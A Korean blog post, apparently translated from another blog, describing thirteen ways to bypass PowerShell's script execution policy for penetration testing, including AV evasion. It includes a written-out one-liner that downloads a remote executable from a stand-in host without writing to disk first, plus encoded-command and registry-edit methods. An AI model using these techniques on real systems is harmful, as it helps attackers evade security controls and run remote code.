그냥저냥

PowerShell 스크립트 실행 정책 우회 본문

Dev./PowerShell

PowerShell 스크립트 실행 정책 우회

ex3llo 2016. 8. 3. 02:01

*** 해외 블로그 글을 맘대로 번역(이라 쓰고 오역이라 읽는다) 했기 때문에 말이 좀 이상할 수 도 있음...


Windows PowerShell은 여러 가지면에서 보안진단자나 시스템운영자 등에게 유용한 툴임은 분명하다. 

하지만 Windows Vista 이상부터 기본 탑재되는 PowerShell의 스크립트는 디폴트로 실행이 금지되도록 설정되어있다.

이러한 설정은 인터넷에 있는 유용한 PowerShell Script 사용을 하고자 하는 시스템관리자 또는 개발자에게 작은 난관이 

되기도 하지만, 모의해킹 진단을 할때도 작은 장애물로 작용하기 마련이다. 따라서 Policy 설정 변경 뿐만 아니라 정책을

우회하여 PowerShell 스크립트를 실행하는 몇가지 방법을 소개한다.


PowerShell 실행 정책 및 기본 보안 설정에 관한 자세한 내용은 아래 사이트를 참조하면 좋다.

http://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html


디폴트로 실행이 금지되어있는 PowerShell 스크립트 실행 정책을 굳이 우회하여 사용하려는 목적은 아래와 같다.

 - Windows API 호출 가능

 - Disk에 쓰지 않고도 명령을 실행할 수 있음

 - AV 솔루션 탐지 우회

  등등...



PowerShell 이 제공하는 다양한 기능을 이용하기 전에 공격자는 "Restricted" (제한된) 실행 정책을 우회해야만 한다.

아래 사진처럼 "Get-ExecutionPolicy" 명령으로 현재 시스템에서 스크립트 실행에 관한 정책을 볼 수 있다.


이제 테스트를 위해 PowerShell Script를 하나 만들어보자

테스트 코드는 "Test Code Run" 이라는 문자열을 쉘에 출력하는 코드이다.

생성한 스크립트 파일을 PowerShell에서 실행했을 경우, PowerShell 기본 정책에 의해 실행이 안되는 것을 볼 수 있다.


(쉘에서 직접 명령을 입력하면 실행이 잘된다. 즉, 스크립트 파일이 임의로 실행되지 않게끔 기본 정책으로 막아둔 것이다.)




이제 PowerShell 정책을 우회하여 스크립트를 실행하는 방법을 살펴보자.


1. Echo/Pipe 기능 이용

실행할 스크립트를 Echo 기능을 이용하여 PowerShell의 표준입력 (Standard Input) 으로 실행한다.

이 방법은 설정을 변경하거나 디스크에 쓰는 작업이 필요없다는 특징을 가진다.


2. 스크립트 파일을 읽은 후 파이프 (|) 로 PowerShell에 표준 입력

Windows의 'Type' 명령 또는 PowerShell의 'Get-Content' 명령으로 스크립트 파일을 읽어들인 후 

파이프(|)로 PowerShell의 표준입력으로 연결한다.


3. 외부 서버에서 스크립트를 읽어들여서 실행

외부 서버에 저장된 PowerShell 스크립트를 읽어들여서 디스크에 저장하지않고 바로 Shell에서 실행하는 방법.

DownloadString 부분에 읽어들일 스크립트가 존재하는 URI를 입력하면 된다.

참고로 DownloadString 은 텍스트를 읽어들이는 명령이고, DownloadFile 명령을 이용하면 바이너리 데이터를 저장할 수 있다ㅣ.

PS C:\> powershell -nop -c "iex(New-Object Net.WebClient).DownloadFile('http://www.test.com/test.exe', c:\temp\test.exe)"


4. Command 옵션 이용

이 방법은 간단한 스크립트 실행을 위해선 좋은 방법이지만, 복잡한 스크립트를 사용할 경우에는 Parsing error 등을 유발할 수도 있다.

-command 파라미터를 입력해도 되고, 단축 명령인 -c 를 입력해도 결과는 똑같이 출력된다.


5. EncodedCommand 옵션 사용

이 방법은 “Command” 옵션을 사용하는 방법과 유사하지만, 모든 스크립트는 유니코드/Base64로 인코딩된 문자열로 제공된다. 
이 방식으로 스크립트를 인코딩하면 “Command” 옵션을 사용하게 되는 경우에 실행되는 귀찮은 구문분석 오류를 방지하는데 도움이 된다.

-encodedCommand 옵션의 단축 명령은 -enc 이고, 아래 사진처럼 바로 Base64 인코딩 데이터를 삽입하여 결과를 출력할 수 있다.


6. Invoke-Command 명령 사용

해당 명령의 특징은 PowerShell의 원격실행이 활성화 되어 있는 시스템(예:Server01)을 Invoke-Command로 실행하여 ExecutionPolicy를 강제 덮어쓸 수 있다.


7. Invoke-Expression 명령 사용

이 방법은 Get-Content명령으로 스크립트를 읽어서 파이프로 Invoke-Expression에 연결하여 실행하는 방법이다.

Invoke-Expression 명령의 단축 명령은 iex 이다.


8. "Bypass" 플래그를 이용하여 스크립트 실행 정책을 설정

해당 스크립트에 대해서는 예외적으로 Bypass ExecutionPolicy를 적용하는 방법이다. 


9. "Unrestricted" 플래그를 이용하여 스크립트 실행 정책을 설정

“Bypass” 플래그와 유사한 방법으로써, 해당 스크립트에 대해서는 예외적으로 UnRestricted의 ExecutionPolicy를 적용하는 방법이다. 


10. "Remote-Signed" 플래그를 이용하여 스크립트 실행 정책을 설정

참조할 튜토리얼 스크립트 주소 : http://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
위 URL 을 통해 제시된 튜토리얼 스크립트를 작성한 후 진행. 


11. AuthorizationManager 값을 변경하는 함수를 이용하여 스크립트 실행 정책을 설정

AuthorizationManager의 ExecutionPolicy를 Disable-ExecutionPolicy로 변경하는 함수를 정의하고, 실행하고자 하는 스크립트를 실행하게되면, 

이 세션을 유지하는 동안 ExecutionPolicy을 Unrestricted 설정으로 사용할 수 있다.


12. Scope 옵션을 Process로 설정하여 스크립트 실행 정책을 Bypass로 설정

이 방법도 11번 방법과 같이 세션을 유지하는 동안만 적용된다.


13. 레지스트리 값을 직접 수정하여 스크립트 실행 정책을 Unrestricted로 설정

레지스트리 경로 : HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\ShellIds\ScriptedDiagnostics

키 이름 : ExecutionPolicy

키 값 : Unrestricted





'Dev. > PowerShell' 카테고리의 다른 글

PowerShell CheatSheet 2  (0) 2016.08.09
Ping Script  (0) 2016.08.04
PowerShell CheatSheet  (0) 2016.08.03
Comments